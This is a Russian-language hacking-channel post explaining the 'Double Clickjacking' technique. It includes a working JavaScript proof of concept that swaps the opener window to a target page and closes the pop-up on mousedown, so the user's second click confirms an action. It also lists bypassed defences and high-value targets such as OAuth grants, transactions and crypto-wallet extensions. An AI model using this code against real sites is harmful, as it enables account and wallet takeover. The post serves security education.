tgoop.com/api_0/320
Create:
Last Update:
Last Update:
Double Clickjacking: техника обхода защиты от UI Redressing
Атака эксплуатирует разницу во времени между событиями mousedown и onclick при двойном клике, позволяя обходить:
- SameSite=Lax/Strict
- X-Frame-Options
- CSP frame-ancestors
Почему это работает:
1. Страница открывает новое окно
2. Окно меняет location родительского окна через window.opener на целевую страницу (OAuth, настройки и т.д.)
3. При double-click первый mousedown закрывает верхнее окно, второй клик попадает на кнопку в родительском окне
Как это может быть реализованно:
function openDoubleWindow(url, top, left, width, height) {
var evilWindow = window.open(window.location.protocol + "//" +
window.location.hostname + ":" +
window.location.port + "/random", "_blank");
evilWindow.onload = function() {
evilWindow.document.write(`
<script>
setTimeout(() => opener.location = "${url}", 1000);
</script>
<div id="doubleclick"
style="position: absolute; top: ${top}px; left: ${left}px;">
Double Click Here
</div>
<script>
document.getElementById('doubleclick')
.addEventListener('mousedown', () => window.close());
</script>`);
};
}
Некоторые особенности:
- mousedown срабатывает быстрее click на 10-15мс
- Event.isTrusted не защищает от атаки
- Работает в Chrome, Firefox, Safari
- Можно открывать окно поверх всего браузера
- Атака успешна даже при медленном double-click
- Таймаут в 1000мс компенсирует разницу в скорости браузеров
- При использовании window.open не срабатывает защита от popunder
- OAuth токены можно получить до того, как пользователь заметит изменения
Применить можно например при:
1. OAuth с максимальными правами
2. Смена настроек безопасности
3. Подтверждение транзакций
4. Атаки на расширения Chrome/Firefox
5. Web3 авторизация dApps
6. Отключение VPN
7. Mobile DoubleTap атаки
При атаке на браузерные расширения через window.open можно скрыть URL, запросы и изменения в родительском окне. Это делает атаку почти незаметной для пользователя.
Salesforce Account Takeover via Doubleclick
Slack OAuth takeover via Doubleclick
Metamask - DoubleClickjacking Wallet Takeover
BY Ethical hacking instruction notes [2]
Share with your friend now:
tgoop.com/api_0/320